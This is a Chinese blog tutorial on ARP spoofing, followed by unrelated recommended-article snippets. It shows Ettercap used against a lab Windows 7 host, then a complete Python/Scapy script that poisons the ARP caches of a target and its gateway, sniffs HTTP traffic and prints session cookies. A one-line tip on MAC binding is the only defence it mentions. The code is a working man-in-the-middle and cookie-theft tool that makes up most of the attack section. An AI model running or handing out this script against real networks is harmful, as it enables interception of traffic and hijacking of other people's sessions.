python之arp欺骗_python arp缓存恢复_willowpy的博客-程序员秘密

技术标签: python安全学习  

kali使用Ettercap进行arp欺骗

arp欺骗原理:明天补上

在这里插入图片描述在这里插入图片描述192.168.0.105加入target1,192.168.0.1网关加入target2

点击MITM中的ARP
在这里插入图片描述
windows7查看mac地址已经发生变化
在这里插入图片描述
可以用driftnet查看被攻击的win7访问网页的图片,最新版的kali未安装该软件,实际测试该软件应该只能查看一些加密不严格的网站
在这里插入图片描述



或者使用wireshark抓包嗅探

win7登录dvwa过程,可在kali抓包嗅探到
在这里插入图片描述

前提知识

from scapy.all import *

respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.0.105"), timeout=2, verbose=0)
for s, r in respone:		#s是发送包,r是响应包
    print(r.show())			#查看相应包的内容
    print("-------------")
    print(r[ARP].hwsrc)		#查看arp包中的hwsrc内容


srp发送数据包
verbose不显示错误信息
who-has请求包
is-at响应包

输出:
###[ Ethernet ]### 
  dst       = 00:0c:29:3b:f0:c7
  src       = 00:0c:29:8d:9a:68
  type      = ARP
###[ ARP ]### 
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 00:0c:29:8d:9a:68
     psrc      = 192.168.0.105
     hwdst     = 00:0c:29:3b:f0:c7
     pdst      = 192.168.0.106
###[ Padding ]### 
        load      = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

None
-------------
00:0c:29:8d:9a:68

发送定制的ARP包

from scapy.all import *

respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.0.105"), timeout=2, verbose=0)
for s, r in respone:
    target_mac = r[ARP].hwsrc
    
target = ARP()
print(target.show())
target.psrc = "192.168.1.1"		#伪造源地址
target.pdst = "192.168.0.105"	#目标地址
target.hwdst = target_mac		#目标mac地址
target.op = 2		#2是响应包
print(target.show())

输出:
###[ ARP ]### 
  hwtype    = 0x1
  ptype     = IPv4
  hwlen     = None
  plen      = None
  op        = who-has
  hwsrc     = 00:0c:29:3b:f0:c7
  psrc      = 192.168.0.106
  hwdst     = 00:00:00:00:00:00
  pdst      = 0.0.0.0

None
###[ ARP ]### 
  hwtype    = 0x1
  ptype     = IPv4
  hwlen     = None
  plen      = None
  op        = is-at
  hwsrc     = 00:0c:29:3b:f0:c7
  psrc      = 192.168.1.1
  hwdst     = 00:0c:29:8d:9a:68
  pdst      = 192.168.0.105

None

python编写arp欺骗脚本

1.从命令行获取目标ip地址
2.获取IP对应的MAC地址
3.定义MAC获取函数
4.启动ARP欺骗
5.定义ARP欺骗函数
6.嗅探数据包
7.定义COOKIE嗅探函数
8.恢复靶机ARP缓存
9,定义ARP缓存恢复函数

不在缓存当中保存   store=0

from scapy.all import *
import time
import threading


def main(target_ip, gateway_ip):
    conf.verb = 0
    #2.获取IP对应的MAC地址
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)

    #4.启动ARP欺骗
    t = Thread(target=poison_target, args=(target_ip, target_mac, gateway_ip, gateway_mac ))
    t.setDaemon(True)
    t.start()
    #6.嗅探数据包
    sniff(filter="tcp port 80", prn=packet_callback, store=0)	#不在缓存当中保存store=0
    #8.恢复靶机ARP缓存
    restore_target(target_ip, target_mac, gateway_ip, gateway_mac )

#9,定义ARP缓存恢复函数
def restore_target(target_ip, target_mac, gateway_ip, gateway_mac):
    print("[*]Restoring target....")
    #恢复靶机缓存
    send(ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff"), count=5)

    #恢复网关缓存
    send(ARP(op=2, psrc=target_ip, hwsrc=target_mac, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff"),count=5)

#7.定义COOKIE嗅探函数
def packet_callback(packet):
    if packet[TCP].payload:
        cookie_packet = bytes(packet[TCP].payload)
        if b"Cookie" in cookie_packet:
            for info in cookie_packet.split(b'\n'):
                if b"Referer" in info or b"GET /" in info:
                    print(info)
                elif b"Cookie" in info:
                    print(info, "\n")
                    
#5.定义ARP欺骗函数
def poison_target(target_ip, target_mac, gateway_ip, gateway_mac):
    #欺骗靶机
    target = ARP()
    target.op = 2
    target.psrc = gateway_ip
    target.pdst = target_ip
    target.hwdst = target_mac

    #欺骗网关
    gateway = ARP()
    gateway.op = 2
    gateway.psrc = target_ip
    gateway.pdst = gateway_ip
    gateway_hwdst = gateway_mac
    print("[*] Beginning the ARP poison...")
    while True:
        send(target)
        send(gateway)
        time.sleep(2)

#3.定义MAC获取函数
def get_mac(ip):
    respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2)
    for s, r in respone:
        return r[ARP].hwsrc

if __name__ == "__main__":
    target_ip = input("enter a ip:")
    gateway_ip = input("enter gateway ip:")
    main(target_ip, gateway_ip)

在这里插入图片描述
可以在路由器网关绑定mac地址,防止ARP欺骗攻击

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_34640691/article/details/109455599

智能推荐

sql 2005 数据库只读问题_zhensoft163的博客-程序员秘密

在SQL Server 2005 Express 上附加从另外一台电脑Copy过来的数据库后,数据库为“只读”,如果直接附加U盘中的数据文件可以成功,但要是copy到电脑硬盘上再附加的话会出问题。下面便是解决办法。 解决办法 一: 打开 开始→程序→Microsoft SQL Server 2005→配置工具→SQL Server 配置管理器, 打开SQL Server SQLEXPR

eclipse中maven依赖库配置文件的配置+依赖库的引入_eclipse 默认引用库 配置_怡暘的博客-程序员秘密

1、eclipse中maven依赖库配置文件的配置(1)<localRepository>D:\InstallPack\Maven\maven-repository</localRepository>(2)<mirror> <id>alimaven</id> <!-- <mirror...

HTTPS工作原理_通过https访问web 原理_生活不留白的博客-程序员秘密

HTTPS工作原理:客户端在使用HTTPS方式与Web服务器通信时有以下几个步骤,如图所示。  (1)客户使用https的URL访问Web服务器,要求与Web服务器建立SSL连接。  (2)Web服务器收到客户端请求后,会将网站的证书信息(证书中包含公钥)传送一份给客户端。  (3)客户端的浏览器与Web服务器开始协商SSL连接的安全等级,也就是信息加密的等级。  (4)客户端...

python简单爬虫:爬取并统计自己博客页面的信息(三)_Yvettre的博客-程序员秘密

python简单爬虫:爬取并统计自己博客页面的信息(二)中介绍了URL管理器和html下载器的简单实现,接下来介绍html解析器的简单实现。9. html解析器(html_parser.py)html解析器的主要任务是从下载好的网页中提取所需要的数据解析html的方法主要有两种:一是正则表达式,这是将整个html内容一个超大字符串来看待,匹配出所需数据;二是使用beautifuls...

支付宝二面:生成订单30分钟未支付,则自动取消,该怎么实现?延时任务和定时任务的区别_批处理和定时任务的区别_狂奔的蜗牛Evan的博客-程序员秘密

最近读者在支付宝二面遇到一个问题:生成订单30分钟未支付,则自动取消,该怎么实现?其实这类延时任务的需求,在开发中经常会遇到,例如 生成订单30分钟未支付,则自动取消 生成订单60秒后,给用户发短信 对上述的任务,我们给一个专业的名字来形容,那就是延时任务。那么这里就会产生一个问题,这个延时任务和定时任务的区别究竟在哪里呢?一共有如下 3 点区别: 定时任务有明确的触发时间,延时任务没有 定时任务有执行周期,而延时任务在某事件触发后一段时间内执行,没有

IIR 数字滤波器全极点格型的MATLAB实现_全极点滤波器_timerring的博客-程序员秘密

数字信号处理实验十六 IIR 数字滤波器全极点格型的软件实现 一、实验目的1. 掌握IIR 数字滤波器全极点格型的表达方式特点及信号流图。2. 掌握IIR 数字滤波器全极点格型的基本特点并根据给定的传递函数形式正确选择是否采用全极点格型。3. 掌握全极点格型软件实现的编程方法。二、实验原理IIR 滤波器的一种格型结构是局限为全极点的系统函数。它可以有FIR 滤波器的格型结构演变而来。设一全极点系统函数给出为: 求它的格型结构,并画出它的单位脉冲响应和单位阶跃响应。参考流程图 .......

随便推点

MQ/CICS_firestone-sh的博客-程序员秘密

CICS:  CICS 是一系列为 IBM和非 IBM 平台上的应用提供联机事务处理和事务管理的产品,其功能是为商业应用提供一个事务处理环境。CICS其全称是 Customer Information Control System,即客户信息控制系统。 RACF: Resource Access Control Facility(资源访问控制程序)是用于IBM主机(大型服务器)操作系统的安...

qt connect函数_Qt元编程之动态监听所有信号_weixin_39631519的博客-程序员秘密

元编程(Meta-programming),也叫超编程,根据维基百科上面的介绍大概是指那种以某种编程语言、特性为数据、对象的编程方法。本身比较抽象,具体到Qt编程,就是利用Moc出来的各种相关元信息类进行涉及到类型、接口等相关操作。其实Qt的信号与槽机制就是Qt上最核心的元编程,所以用过Qt的人都可以说做过Qt元编程。使用Qt元编程可以实现很多有用而意想不到的功能,笔者将会分几次和大家分享这方面有...

【Unity插件】DOTween基本使用_烧仙草奶茶的博客-程序员秘密

项目结构,将代码挂在RawImage上using DG.Tweening;using System.Collections;using System.Collections.Generic;using UnityEngine;/* SmallGame 时间:2017.8.12 作者:烧仙草奶茶*/namespace SmallGame{ public class DoTM...

Windows 7 的 Windows 帮助程序 (WinHlp32.exe) KB917607_windows7帮助信息程序_茫茫大海的博客-程序员秘密

需要使用 WinHlp32.exe 才能显示文件扩展名为“.hlp”的 32 位帮助文件。若要在 Windows 7 上查看 .hlp 文件,需要安装此应用程序。Windows 帮助 (WinHlp32.exe) 是一个帮助程序,自 Microsoft Windows 3.1 版本的操作系统以来,它已包含在 Microsoft Windows 中。但是,在许多发行版中,Windows 帮助程序均未进行重大更新,不再符合 Microsoft 标准。因此,自 Windows Vista 版本以来,Windows

怎么给图片加滤镜?我来教你图片滤镜怎么调才好看_huduni00的博客-程序员秘密

原来,为了让图片更加吸引人小伙伴们都会给图片加滤镜,于是我就跟她们请教怎么给图片加滤镜?单拿照片滤镜这个功能出来讲,该软件支持多种图片格式的导入编辑,并且包含多种风格滤镜可供选择,例如日常、人像、流行、复古、氛围、电影,在这些风格滤镜下还提供了数十种颜色滤镜,图片添加完滤镜后不失真,不会损坏原来图片的画质,细节仍清晰可见。随着手机不断的推出新的版本又或者更新系统,我们的相册除了储存图片外,也有了对图片编辑的功能了,这里我以苹果手机为例子,教大家如何实现图片加滤镜的操作,不过一般自带的滤镜会比较少选择哦。

推荐文章

热门文章

相关标签